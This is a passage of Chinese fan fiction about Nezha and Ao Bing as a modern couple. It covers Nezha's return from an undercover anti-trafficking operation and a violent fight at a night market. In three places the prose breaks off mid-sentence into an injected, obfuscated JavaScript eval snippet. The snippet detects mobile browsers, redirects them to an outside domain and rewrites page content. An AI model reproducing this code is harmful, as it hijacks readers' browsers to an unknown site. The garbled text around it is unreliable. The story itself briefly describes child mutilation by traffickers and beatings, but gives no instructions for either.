“吵醒你了?忘了关房门,抱歉。”哪吒正想走过来把敖丙抱回床上,敖丙却摇摇头,“你收你的,要帮忙吗?” “洗漱用品帮我收一套出来吧。”敖丙收拾时顺带开了瓶漱口水,先试了试呛不呛喉咙,才连着毛巾牙刷装好,又帮哪吒整理乱糟糟的行李箱。 哪吒干事向来利索,行李十几分钟就收好了,敖丙便把人送到玄关,两人又忍不住纠缠厮磨片刻。 “水蜜桃的味道。”哪吒舔了舔嘴唇,点评到。 “喜欢吗,装你行李箱里了。”敖丙微微仰着头,看向哪吒眼眸,红棕的眸子里全是爱意和不舍,似是要把敖丙的样子刻在脑海般认真。 “喜欢,以后什么时候用来漱口了,脑子里全是你的味道。”哪吒又俯下身来,一手托着敖丙后脑勺吻上去,拇指摩挲小龙还泛着红的眼角,另一手放在敖丙腰上,力道恰好地给爱人按摩着酸麻点。 屋子里只剩下唇齿纠缠的声音,让二人听了都耳根发红。好些时候过去,敖丙才轻轻推开哪吒,喘着气,青蓝色的眸子里都溢着水光。 哪吒还是不想走,便把人拥入怀中,两颗心脏隔着夏季薄薄的布料,也还能清晰感受到跳动的激烈。 “那我走了。” “去吧,我等你回家。” 哪吒正要关门,敖丙又附了一句:“回来想吃什么提前打电话说一声。[1]” 后来哪吒在楼下往大马路,似是感觉到了什么,抬头往家的方向望去,敖丙就站在窗边一直看着他,小龙发现哪吒转了身,便向他挥手道别。哪吒也挥挥手,便再也没回过头。直到哪吒上了车,公交车消失在路的尽头,再也看不见了,敖丙才把窗帘拉上,继续睡回笼觉。 床很大,少了一个人空荡荡的,敖丙便把哪吒那边的被子卷起来当抱枕抱着,吸着小莲藕的气味缓缓入了梦乡。 20.我不配做神 哪吒走了,连电话都没打回来过。 敖丙早习惯了哪吒叫醒他,往日都是闹钟响了被哪吒摁停,敖丙会发出不满的呢喃,然后皱皱眉继续眯一会儿,等过了十分钟哪吒洗漱好了才过来把敖丙亲醒。洗漱台的镜子能看见厨房,敖丙最喜欢一边刷牙一边看着镜子里的哪吒,从困意中转清醒。 第一个月,因为缺了哪吒的叫醒服务,敖丙迟到了好几次,补签卡迟到卡用完了,被扣了几百的工资。 拿到工资那天,小龙把鱼蒸老了,一边嘟着嘴一边狠狠嚼鱼:“你不在,我起床都起步准时了。”饭毕,把另一套碗筷收了,敖丙端着哪吒的饭碗嘟嚷道,“早些回来吧,天天都给你备着饭呢。” 第二个月,敖丙失了个饭搭子,起初还能给自己做顿丰盛的,哄自己哪吒会给自己个惊喜,突然敲开门拿起筷子陪他一起吃饭。可骗自己也骗不了太久,后来自己吃不下饭了,去了二人最爱的馆子吃,味同嚼蜡。 “你自己在家也要好好吃饭”他还记得那晚哪吒的叮嘱,便又夹了一口勉强咽下。 第三个月,敖丙也不能把自己哄着吃下饭了,幸好他是个神仙,不吃饭也饿不死。 第四个月,敖丙夜不能寐,晚上总做着噩梦,不是自己被抽了筋,也不是哪吒濒死的那次,反倒是哪吒脸色苍白躺在病床上,自己握着他的手,冷冰冰的,怎么叫唤都没反应。 第五个月,敖丙终究是熬不住了。 那天跟撞邪了似的,先是无心画工图,前些日子交上去的又被打了回来修改,那日饭堂打的鱼还卡了骨头,咳得他眼泪都出来了。种种不详让敖丙去警局的路上心神不宁,心七上八下的跳着。 会不会哪吒没把他的联系方式写在联络人一栏,从常理来说,那一栏填的应该是李靖和殷夫人…… 会不会其实哪吒受伤了,但是怕他担心,又自己躲起来开了。 会不会哪吒已经……但是自己没有收到通知…… 脑子越想越糟,深秋的寒风钻入外套,把小龙冻得打了个哆嗦。 门卫早认得他了,或者是,警局的人多多少少都知道了哪吒有一个长得极美的男性朋友。听了来意,门卫就打了个电话,一个实习警急急忙忙跑出来,把敖丙领进去找领导了。 “叩叩。”敖丙被带到局长办公室门口,小警察就先告辞了。 “请进。”局长看见来人,把文件夹反过来按下,“坐吧。”局长摘下了老花镜。 “没猜错的话,你就是李警官的朋友?” 敖丙接了秘书递来的水,道了谢:“是我。哪吒他五月前说要出差……可是……他没联系过我,我就是……想知道他现在还好吗?” 敖丙也不喝水,只是把杯子用两手端着,手指无意识摩挲着纸杯,也不敢看局长,低头看着装着七成满的水荡着水纹。 小龙不知道自己的不安的神态都被老警察看在眼里了,从警三四十年,也处理过不少这种担心得找上门来的家属,来来回回他也只能说些宽慰家属的话。 “小敖啊,李警官肯定是想联系你的,只是公务在身,咱们这次任务有规定不能联系外面。”局长坐直了,看着敖丙补充道,“从某种意义上来说,没有消息就是好消息。” “那他什么时候会……”敖丙自知失言,他不该问这种涉密的问题的。 “这……”局长犹豫片刻,还是选择回答了,“不好说,可能这个月就能回来,也有可能还得过几个月。不过他紧急联系人那儿只填了你,所以请保持电话畅通。” 言外之意,哪吒骗了他,那晚哪吒说这任务安全的。敖丙眼睛微微睁大了,纵使知道哪吒不会出大事,可是心里就是揪着梗着。 “不过你也不要太过担心,李警官工作能力大家有目共睹,我接到的风声都是好的,你就安下心来吧。看得出来,你们感情很好,相信他拿到手机的一刻肯定会立刻联系你的。” 敖丙得了个心安,虽然不知道是不是局长为了安慰他的说辞,微微鞠躬后回家了。 半年过去了,世间又从盛夏走到初冬。 这个冬天偏爱下雨,小龙并不喜欢大冷天的空气湿湿的,因为这会让他想起千年前在天庭的寒冬,脊背痛得要死,痛得他想一头撞上廊柱把自己磕昏了才好。幸好后来哪吒得了药,又陪着他,把偌大的卧房烧得暖暖的。 时过境迁,这个冬天哪吒不一定回来了,但是家里买了暖油汀照样暖和,哪吒年年冬天都开着油汀,让敖丙不要省电费。敖丙下了班,把家居服换上,衣装镜上倒映着他的背影。敖丙余光看见了,便没套上衣服,看着镜子里的自己,脊背上虽已长出新的龙筋,也已和常人无异,更是早就不痛了。可那自脖子连到尾椎骨的白疤仍昭告着曾经。 对了,肌肤相亲的时候,哪吒总喜欢去摸这一条长长的疤,还喜欢亲,还总是不管敖丙的拒绝,一味地道歉,说总有一天要把这疤消了。 敖丙并不在意这白疤丑陋与否,他不似哪吒喜爱裸着上身走来走去,白疤只有哪吒能看见,他不嫌弃,自己也就不在意了。 思来想去,敖丙便把手拐到身后,他总是好奇这白疤有什么地方让哪吒着迷的,亲密之事亲着,日常也爱摸着。 白疤约莫一指粗,手感凹凸不平的,略比周围的皮肤要硬。搞不懂有什么特别的,小龙便把单衣穿上了,暖气开得大,不冷。那晚下了雨,冬天的雨却还雷雨交加着,晚饭是一碗白饭、一个鱼罐头、一碟青菜,手机就放在右手旁,半年来没就被电话打响过。 到了凌晨,雨反而越下越大,连小区门口的路都看不清了。困意袭来,敖丙打了哈欠,不再倚在窗前等一个熟悉的身影,转身回到早已暖好的被窝进入梦乡。窗外雨打屋檐嘀嗒嘀嗒,伴着隐隐雷声,甚是催眠。 雨声大,也掩盖了来人的脚步声。 哪吒回来了,裹挟着冬天的冷风冰雨,但他没有忘记小龙回家就要换家居服的规矩,强忍着心情把大衣脱了,胳膊一甩,湿了的外套便落在门口。内里是干的,小龙应该不会嫌弃。 哪吒急不可耐的走进了卧室,小龙一整个人埋在被子里,只留个小后脑勺在外面,睡得正酣。哪吒欺身躺上床,把那卷被子拥入怀中,脑袋贴着小龙露出来的耳朵,狠狠吸着敖丙的气息。 “哪吒……?”小龙半梦半醒着,嗅出了身后人的味道。 “嗯……我回来了。”哪吒紧紧搂着怀里的人,亲了亲小龙的后颈。敖丙蛄蛹着转过身来一脚踢开被子,把哪吒也裹了进来。 敖丙今日睡得好,翻过身来就又沉沉睡去了,由着哪吒埋在自己颈肩。可刚睡过去没多久,他就觉察出有点不对劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504767|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 哪吒在哭。 起初是压抑着声音的,所以敖丙没觉察出来,还睡着,可小莲藕却哭得越来越厉害了,腰上环着的手抖得厉害,锁骨处也能感受到滚烫的东西一滴滴打下来——那是哪吒的泪。 敖丙一瞬间就清醒了:“怎么了哪吒?”他一边问着,一边用手去捏小莲藕的脸。小莲藕可能不想敖丙看见他狼狈的样子,不肯抬脸给小龙看见,梗着脖子,小龙也不敢使力了,怕把人是弄疼了。 “呜……呜呜……”哪吒一手缩在胸前攒成拳,一手还在敖丙腰上,捏着敖丙的衣服,总是不憋着哭声了,呜咽声自唇缝中断断续续的泄出来。 敖丙拿手梳着哪吒的头发,湿湿的,应该是大雨天赶回来时淋湿了,温柔问到:“怎么了这是?”可是哪吒只是摇摇头,什么都不肯说,还把自己蜷成一团。 “是不是受伤了?”敖丙猛地坐了起来,连带着把哪吒拉起,去掀他衣服,“给我看看,咱们现在就去医院。” “呜……我没事……”哪吒把头顶在敖丙心口,感受着那强有力的心跳,“我什么事都没有,你别担心……呼呜……借我靠会儿,靠会儿就好。” 眼泪像断了线般落下,洇湿了敖丙的衣摆,小龙一下下拍着哪吒背部给人顺气儿,小时候,他父王也是这么安慰他的。 “我在呢,一直都在。”敖丙把头靠在哪吒肩膀上,“要哭就哭出来,憋在嗓子里难受。”一手拍背,一手顺毛,还带着偶尔几口轻轻啄在哪吒发丝上。 俗话说得好,人啊,越被安慰哭得越凶,哪吒就是这样。 小莲藕也放开了哭,两个爪子无意识抓着敖丙的背,把衣服扯得皱巴巴的,嘴里嚎着,似是要把这辈子受的委屈受的苦一下子全哭出来,整个人抖着。 “我好没用……呜……我谁都救不了……”哪吒锤了一下床。 敖丙安静听着,哪吒哭得呼吸都不顺了,说一句倒抽着三口气,连口舌都含糊了。 “慢慢说,慢慢说。”敖丙一下一下抚着哪吒的背,小莲藕肌肉都绷着,肩膀一颤一颤的,气倒的更急了,听得敖丙心里一抽一抽的,这是遭什么了,哭成这样。 “哪吒,看着我。”敖丙往后退了一下,双手捧起哪吒脸庞,脸颊湿湿凉凉的,被泪水糊了满脸,泪水落到敖丙指尖,又是滚烫的。敖丙是神,能感受到这泪里蕴含着无尽的无力和悲伤感,小龙本就是个容易共情的人,现在也被哪吒传染得眼眶酸酸,“慢慢说,说出来就好,我不往外边说。” 小龙的手冬天还是凉凉的,放在哪吒脸上好像个降温贴,修长的手指慢慢抹走热泪,哪吒眼睛都哭红了,连带着眼尾都像上了朱砂般,唇瓣不受控地抽搐着,嘶嘶地抽气,还不时打个嗝。 红棕色的眸子依旧美得惊心动魄,敖丙平时就爱捧着哪吒看他眼珠子,可如今那里却盈满着惊慌失措与悲戚,豆大的泪珠像止不住的血,顺着小莲藕身体一抽一抽就落得到处都是。 敖丙的手腕被哪吒双手抓着了,哪吒把手指移到敖丙手脉所在之处,感受着生命的跳动,让他感到些许安心。 “我不配……我不配世人拜我……我不配做神……呜呜……” 哪吒开了口,声带像是被刀剐了一般,疼得说不出话,唇瓣张张合合着,早已听不清外界声响了。 21.尽力而为 问心无愧 “我去打拐,去了那些人贩子的组织里……呜,这半年我都在里面……”哪吒回想着半年来的卧底行动,心如刀割。小龙皱着眉头看他,静静等哪吒顺口气继续说。 “世人都说我能庇佑孩子,我谁都没护到。”哪吒想起来那时遇见的小孩,心里无比自责,“那些畜生砍了小孩四肢,拿去坐乞讨用……”哪吒不自觉捏紧了小龙的手腕,力道没收住,敖丙明显是吃了疼的,却装作无事发生,只是双眼睁得大大的,听着哪吒那骇人听闻的哭诉。 “还有的拿去做了血童……呜……我们收网时,他们还把我同事打伤了,他们有土枪。”哪吒把小龙紧紧抱在怀里,整个人抖得筛糠似的。 “我们又给小孩找父母,有一些找到了,父母却早疯了;有一些不认那残疾的,怕拖累,我们也理解;还有一些,根本找不到……” “好荒唐……”哪吒已经哭得嗓子都哑了,可是还是要说,“世人给我香火让我保护孩子,我却看着他们失了肢体在寒冬下讨要钱财” 敖丙抱着哪吒,像抱着小孩那样前前后后晃着:“不是你的错,你已经尽力了。”一边用着脸颊触碰爱人,以示安抚,“神也有力所不能及的地方,不要这么自责。” “我明明很努力了,我给几百个孩子找回了家。可是我救不完,救不完啊……”莲藕哭嚎着捶打自己,这一次换成敖丙抓着他手腕不让小莲藕伤害自己,“我千七百杀劫也杀不完这些人渣……呜……我也不能杀了那些畜生……” “我什么都做不到,小孩救不了,一些人贩子还逃了,作恶的人也不知会不会判死刑,我好没用……好没用……呜……” 新的时代,哪吒既做了警察,就不能像曾经那样用私刑把为祸人间的妖怪杀掉。 哪吒不说了,只是哭着,泪水淌着,敖丙一直抱着他晃来晃去,过了快半小时,敖丙发现怀中人渐渐止住了抽噎。 “哪吒?”小龙轻声问到。哪吒已经睡过去了,应该也是哭得脱了力。敖丙叹了口气,把人换了套衣服,放进被窝里,又把油汀开到最大。听说人大哭一场后容易感冒,这又是冬天,一定要做好保暖工作。 敖丙去冲了杯蜂蜜水,把哪吒揽在怀里:“醒醒,醒醒哪吒。”手臂晃了晃,哪吒睡眼惺忪把眼睛睁开了,茫然看着爱人青蓝色的眸子。 “喝点水,你刚刚哭太多了,我怕你脱水。”小龙把杯子递到哪吒嘴旁,杯沿是温的,哪吒手覆上去,掌心滚烫地贴着敖丙的手背,就着力道把一杯水吨吨吨地全喝了。 “还要吗,我去冲。”敖丙柔声问到。 哪吒摇摇头,只是又靠在敖丙身上,半挂着又睡着了。敖丙听着哪吒呼吸变得匀长,才小心翼翼把杯子放在床头,抱着人往被窝里钻去。 二人面对着面,今晚小夜灯一直开着,屋外冷雨没有停过,家里却是温暖万分,昏黄的灯光映在哪吒脸上,敖丙能清晰看见他的睫毛修长,鼻梁算不上很高挺,倒也让他少了几分凌厉。眼尾被哭红了,好像眼皮还有点肿,哭成这样,明天起床哪吒可能连眼睛都睁不开。 想到这里,敖丙起身把不锈钢勺子放进冰箱,才又躺会床上,小莲藕本是皱着眉头的,手被敖丙抓着后便舒展开来了。两人互相抓着对方的手入了梦里。 第二天,哪吒是被饭香味叫醒的。他伸手往身旁探,摸了个空,小龙正在餐厅那边煮早饭呢。 “敖丙,早啊。”哪吒伸了伸懒腰,踩着毛拖鞋出来了。 “早,早餐快做好了,先去洗漱吧。今天要回警局吗?” “不用,汇报后天做,这两天在家写报告就好。”哪吒睡眼惺忪,没等热水器把水烧热,直接捧着凉水洗了脸,而后看见镜子里的自己眼皮肿得像被蜜蜂钉了一样,睁不得大。脑子里瞬间就想起来了:昨晚自己一回家就抱着小龙哭了快一小时……哭得痛哭流涕的。 自己还像个小宝宝一样在敖丙怀里哭…… 老天啊,幸好没有其他人看见。 哪吒低着头往餐桌走,不想让敖丙看出异样。 “抬头。”敖丙可不给他面子,瞧见小莲藕垂着头便提了要求。 小莲藕撅着嘴巴,自下而上仰视端着一堆茶点的敖丙,那小龙笑吟吟地看着他呢。 “瞧你这眼睛肿得。”敖丙轻笑一声,把早茶放在哪吒面前,又转身开了冰箱取出早已冻好的铁勺子,“你吃你的,我帮你消消肿。” 比敖丙指尖还冰的勺子贴上薄而红肿的眼皮,把哪吒吓了一跳。小龙只在按摩他的左眼,哪吒便睁着右眼看敖丙。 敖丙在家里拿发簪把头发盘了起来,那是几十年前哪吒又自己削了一个送给敖丙的。发冠在这个时代不适用了,哪吒本是想让敖丙去剪了短发,也不用受世俗的眼光指摘,小龙却一口回绝了,他偏要留这长发。 如今那水青色的头发有几缕没被簪好,落到哪吒锁骨处,挠得心痒痒。青蓝色的眸子认真注视着哪吒,满是心疼和怜惜。 “没事,一会儿就不凉了,实在受不了你和我说。” “你的手腕……”哪吒发现敖丙两个手腕都落下了手印,想起来自己昨天没收着力,把敖丙弄伤了。 “没事,不疼。” “对不起……” 哪吒视角里敖丙是反过来的,他还是第一次看见这样的小龙,连嘴角都挂了淡淡的笑意,外面再苦,回到家小龙总会等他,一看到那青色的身影心里就甜滋滋的。 敖丙一手托着哪吒下巴,手掌处还能感觉到小莲藕在嚼虾饺,一手轻轻动着冰勺子,把红肿的地方敷个遍:“哪吒,你听我说。” “你说。”哪吒咽下虾饺,伸手把玩着敖丙垂下来的发丝。 “昨晚……你说你什么都做不到,这话错了。” “我们虽然是神仙,但并不是无所不能。人间有太多的事情是我们没有办法去干涉的。”哪吒被他一说,又勾起了那些痛苦情绪,嘴角又往下撇去,似是要哭了。 敖丙用手指抚着哪吒脸庞,缓缓说到,努力让自己语气平缓,好让哪吒听得一清二楚,也不被自己的心情所感染:“我们就算倾尽所有逆天改命,也救不了所有人,驱不散所有的黑暗,荡不平所有的不公。” “想哭就哭吧。哭泣不是懦弱的表现,它只是情绪一种外露的表现,在我这里你不需要掩饰脆弱,假装坚强。”敖丙俯下身来,在哪吒额间落下轻吻。 “你不要光看着自己没做到的,更要看见自己做了什么。”敖丙跨坐在哪吒大腿上,两人注视着彼此。那红棕色的眸子又一次染上水雾,眉毛皱成倒八字。 还凉凉的勺子轻轻敲在哪吒鼻尖:“你救了很多小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507572|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩,给他们找到了回家的路,把他们自地域里救出来,虽然可能肢体残缺了,但以后再也不用沦为犯罪组织的工具人,不用靠乞讨为生。” “你还帮很多父母找回了他们的宝贝。往前看,你救下了无数因灾祸流离失所的灾民;往后看,你将圆了无数家庭,也可能为死者伸冤,将坏人绳之以法。”双手捧起小莲藕的脸,那脸上已有两行清泪落下了。 “所以不要自责。尽力而为,问心无愧就好。”青蓝色的眼眸倒映着自己的身影,那是千年如一的爱意绵绵。 “在我这你就是个英雄,不要埋怨自己,也不要什么都自己扛。”小龙俯下身来,轻轻贴上嘴唇,“你还有我呢。” 是啊,他早就不是孤身一人了。 爱意融进了亲吻里,化进了血肉里,竭力去抚平创口。如今他们都有可以互相依靠一生的人了,前路或许暗夜难明,但身旁有明灯相许相伴,便什么也不惧了。 吻毕的时候早餐全凉了,敖丙本想起身去取新的冰勺子来冷敷,刚起身便被哪吒抓着手腕往下一扯,重心一下不稳就栽倒在哪吒身上,只能靠双手撑着哪吒双肩,不至于整个人都倒下去。 “再亲会儿,我好受多了。”哪吒右手摩挲着敖丙的腰肢,他知道敖丙这里特敏感,容易痒。 “嘶,别挠!”敖丙佯装恼了,嗔怪道,“中坛元帅什么时候还耍起流氓来了。” “我好想你……”哪吒把敖丙压下来,鼻尖相距不过一寸,滚烫的弊息烫得小龙耳根发红。 二人确实是许久未见了,昨晚光顾着哭,现在才来了其他兴致。 那日早餐最终也是没吃上热乎的,放在桌上的勺子不知何时被震得下了桌,待到中午时分,哪吒才打着哈哈把吃剩的早餐去翻热了吃。哪吒把叉烧酥吹凉了才喂给敖丙,带着谄媚又歉意的笑容给一脸鄙夷的敖丙。 “下次先吃了饭再做,我饿。” “饿了?那再来一次。”哪吒也学敖丙那样使起坏心思来了。 小龙是真的饿狠了,一拳打在哪吒小腹上,虽收了力,但哪吒还是吃了痛的。 “我错了我错了,对不起,吃饭吃饭。” 寒冬过夏季来,夏季炎热人心易燥,公安加大了巡查力度防止恶性事件发生。那些日子正巧遇上节假日,哪吒连轴转着加班做安保工作,敖丙打听到哪吒就在一夜市附近巡逻,便想着去打包些人间新小吃,是从境外传入的。等今日哪吒轮值结束,他就捎着这堆去那流动车找哪吒,大家伙一起分着吃。 可敖丙眼尖,一下就觉察出今晚这夜市有些许不同—— 那一偏僻角落里围着一堆人,却不见声响。敖丙怕是出了什么事,留了心眼儿,把手机调到联系人那页,只需一按就能接通哪吒手机。穿过重重人群,才看见真相。 一群地痞围了几个妙龄女子,女孩们朝路人投来无助的目光,却无人敢动——兴许是那五六个流氓都裸着上半身,纹满了龙虎样的纹身,看着气势十足唬人。 敖丙压下眉头,自人群间退出来,打了哪吒电话,但是哪吒没接,可能是在忙。正当他要打110时,那包围圈里却传来女孩子的惊呼。 来不及了。 敖丙再次拨打哪吒的电话,一边祈祷着哪吒接电话,一边把手机揣兜里,转身就冲入了包围圈。 22.生气吵架 那些地痞正在单方面的打那几个女孩。女孩子瘦弱,又人少,只能够蜷缩成一团保住腹部不被打到。 “干什么呢!都住手!”敖丙赤手空拳的大喊一声冲上去,就护在了那些女孩子的面前。 地痞打量着这突然间窜进来的美丽人儿,原以为还是个漂亮小妹子,一开口才知道是个男的。 “哟呵,人妖啊?长得倒是美。”为首的地痞戏谑笑道,众人用下流的眼光上下打量着敖丙。 那水青色长发的人身形瘦弱,比他们小了整整一圈不止,看起来手无缚鸡之力,哟,手里的塑料袋还装着几个饭盒。 “识相的给小爷滚,要不然连你也一起打了!” 敖丙恶狠狠盯着他们,转身走向墙边。那些人还以为这美男子被他们吓吓就逃了,发出看不起的嗤笑声音,谁知敖丙只是把食物放在墙角后又折了回来—— “我已报了警,你们收手吧。” 哪吒胸口的诺基亚响第一次的时候,他没接,正巡逻着呢不能接电话的。可那手机第二次震动时他却没来由的心慌了,当他决心拿起手机摁下接通键时,便刚好是敖丙的声音在那头响起。 “六个男人欺负三个小女生,你们要不要脸了?” “小蔡!”哪吒听了个大概,才出来那边什么情况了,立马叫到随队的技侦,“定位这个电话。要多久?” 小蔡七手八脚赶到师父前:“定位仪在车上……这,路程加上定位,少说八分钟。”小蔡还是个实习警,对规章更为重视“而且……这不能随便定位,得局长确认了才……” “那边是我爱人!”哪吒急得团团转,没忍住大声喝了徒弟一句,把小蔡吓得缩了缩头。不知怎的,明明师父是个打拐民警,有时候却比巡特警队长还可怕,训人时恍若杀神,好几次在队里训话,都把些警龄小的骂哭了。 “怎么了这是?”巡警队长听到声音,从队头扛着枪走了过来。 “我爱人遇险了,你们先定位他手机。”哪吒把手机放在小蔡手上,又转向队长把自己的配枪交给他,“我先去找他,你们快跟上。”随即一溜烟地就消失在人群中。 “诶!没定位你怎么找!”队长拿着他枪在身后喊到。 哪吒把衣袖撩起,露出手腕上火红的混天绫,杀神压着音量急切指使混天绫道:“去找敖丙!” 混天绫得了指令,化作凡人看不见的样子在人群中穿梭,指引着哪吒找敖丙的路。 “借过!让一下让一下!” 敖丙虽然能打,但还要护着身后三个女生,以一敌六还拖仨,他又不愿真的伤了人,渐渐就落了下风。好不容易把两个虎背熊腰的人肩膀都弄脱臼了,这边一女孩就被拳打脚踢,正当他要冲上去救人,一个男子瞅着空子就狠狠一脚踢在敖丙腹部。 敖丙只觉肚子猛地一抽,整个人就捂着肚子软倒在地上。头发在刚刚打斗的时候散了开来,趁着自己吃疼失去行动力的瞬间就被人自身后用力抓起,被迫露出白皙而脆弱的颈部。敖丙只能半跪在地上,一手抓着身后人的手腕好让头皮不被拉扯。 敖丙努力回想哪吒在家里教他的格斗术,想着怎么破这招数。 哪吒是一个很负责的老师,那天他把敖丙头发抓得生疼。 “教学而已,用得着吗?”敖丙痛得抽气,本能的抓着哪吒手腕。 “只有真动手才能学到,现在,敖丙,你要反击我。”哪吒手微微松了点,终于没把敖丙疼得龇牙咧嘴。 压着对方的手腕,转身,肘击对方肋骨。 当年的训练重现,敖丙一边回想起哪吒亲身示范的动作,一边一板一眼地回溯着。 他终归是神,哪怕如今得的是个削弱版人身,也比常人要强。敖丙吃了疼,自然就没收着力,一个肘击他就知道自己下重手了,手肘那端能清晰感受到什么东西断开了——他把人肋骨一下子打断了。 这是敖丙第一次打伤凡人。 那人痛嚎一声滚到墙角,浑身抽搐着。 时不我待,敖丙一下子扯着一个女孩就往人群那推:“快跑!”一个女孩趁着众人吃惊的短暂片刻逃出生天。 剩下那还能动的几人这次是真气了。 “别打脸。打残了弄回去,是个好货。” 三个人一起攻了上来,敖丙分身乏术,一边招架着,一边又努力让后面的女孩逃。 女孩没逃成,反倒被抓着当了人质,敖丙一下子就被抓着软肋了。 那哪吒赶到现场的时候看到的就是这样一幅揪心场景—— 敖丙被人放倒在地上,身体蜷起来好护住腹部,女孩躲在他身后哀求着别再打了。四五个浑身纹满图案的家伙围着小龙拳打脚踢着。 周围围满了人,却只是冷眼旁观着。 好似有什么东西冲破了身躯,先一步让哪吒做出行动。 “我操!” 混天绫乖乖回到哪吒手腕上,哪吒暴起一个猛冲,绷紧的腿一下子将一人飞踢到无人的墙角,正巧砸到敖丙放下的那些食物上。 那人口喷血沫,痛呼一声便砸在地上不再动弹了。 可这只是开始。 哪吒一拳砸在旁边看傻眼的男子身上,这人刚刚用脚踢了敖丙的背,正巧是那曾经没了脊梁骨的创口处。男子吃了痛后退几步,哪吒不依不饶,一脚踹在那人腿上,随机而来的便是啪嚓一声脆响——那一脚生生将小腿骨踢折了。 哪吒转身就要找下一个人泄愤,众人自知不好纷纷退开。敖丙从那声“我操”就听出了来者何人,他也一样被那个人砸上墙的巨响吓了一跳。 “哪吒住手!”敖丙忍着痛,冲到哪吒旁抓着他衣袖,“我没事,你别下那么重手!” 哪吒咬着牙,气得五官都拧巴在一起了,恶狠狠回头看着敖丙,眼里的凶意把小龙吓了一跳。 “你……别真伤了人,我没事的。”敖丙晃着小莲藕衣袖,安慰道。 敖丙还在顾虑着他身份呢,哪吒现在穿着警服,大庭广众之下把平民打成那样,他怕哪吒因此受罚,丢了工作。 “你!”哪吒被激的浑身都在抖,“真没事儿?” “我也是神……”敖丙小声回了句。 哪吒撇了撇嘴,把小龙手甩开了。敖丙感觉自己好像做了错事,抓着自己手臂低着头不敢追上去了,小龙站在原地手足无措,连嘴巴都抿成波浪形。他只是好心想救人,怎么现在好像弄巧成拙惹出大祸了。 哪吒追了出去,把敖丙一个人撇在原地。等他回来时身后跟着几个警察制服的人,羁押着几个刚在闹市伤人的杂种,手上都带着铁手镯呢。 “我靠!什么情况?”巡警队长看着现场,不由发出惊呼。一个同伙捂着肋骨,痛苦吟叫着,另一个伤得更重,嘴里吐着血,若不是还能呼吸,他真以为那人被打死了,还有一个瘸了腿的,想爬走,被群众堵住了。两个眼熟的女孩缩在角落,惊恐地看着赶来的警察们。 最扎眼的还是站在一片狼藉里的青色身影。 哪吒有一个很好的朋友,发色是新奇的颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518737|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色,面容姣好肤色白皙,这个已是他们这些相好的警察里众所周知的秘密,和哪吒走得近的自知那是不一般的朋友。 敖丙先开口回答了:“人是我打伤的,是我的错。”小龙走到众巡警面前,“他们欺负人在先,我配合笔录。”可是敖丙根本不敢看那浑身散发着低气压仿佛下一秒就要劈下天雷的哪吒一眼。 “敖丙你用不着这样。我一人做事一人当,不连累你。”哪吒还气着呢,往前一步,死死盯着敖丙。 “打120,找几个群众笔录,其余疏散。小李,你先带着他去医院检查,搞定了再回来配合调查,小蔡,你跟着他们。”队长很快就做好了统筹安排。众人便行动起来。 队长又把哪吒拉到一边,低声说到:“那几个女孩涉毒涉黄,几进宫了,你和他查查有没有伤口,可别染了病。” 哪吒听得倒吸一口气,心里像烧了团火,快步走到敖丙前狠狠抓着他的手腕就往车上拉着走,敖丙被哪吒拉得踉跄几步,小蔡不敢吱声,默默赶去主干道的警车旁。 “哪吒!哪吒你慢点!”哪吒这次走路走得极快,全然不顾敖丙。 “慢点,我疼……”敖丙服了软,小声嘟嚷道。 哪吒听了心里一揪,放慢脚步回头看了一眼,小龙任他牵着,头低着看路,独独不敢看他。 这还是敖丙第一次坐警车。两个人坐在后座,看着各自窗边的景色飞啸而过,一路无言。 小蔡专心开车,努力扮演空气。 “抽血,X光,等结果。”护士吩咐道。 哪吒带着敖丙轻车熟路在医院层层穿梭做检查,他从警十几年,当过片警儿、巡警,主要做打拐,他曾经带过无数嫌疑人受害者来这里接受检查,却没想到有一天会牵着敖丙的手来这里做这些他已经刻成肌肉记忆的流程。 其实也没怎么牵手,半途上他就松开了,敖丙就跟在他身后一步之遥,让干嘛就干嘛,一声不吭的。 检查完了,二人就坐在铁靠椅上等结果。凌晨医院没什么人,莲藕小龙坐在中间,小蔡坐在角落,努力把自己隐形着。 敖丙累了,想靠在椅背上睡着,他现在不敢靠着哪吒肩膀睡觉,可是那铁凳子很滑,他刚眯着没几分钟浑身松软了,就被凳子滑了下去。小龙睁开眼,又把自己撑了上去。来来回回重复好几次,哪吒看不下去了,一手揽过敖丙,让他把头靠自己肩上。 “困了靠着我睡吧。”哪吒说。 敖丙就靠了上去,闭上了眼睛,却发现困意全无了。 “你知道今天我为什么这么生气吗?”哪吒问,语气冷冷的,敖丙也琢磨不准他现在是什么心情。 “我自作主张去救了人……我不该这么引人注目的。” 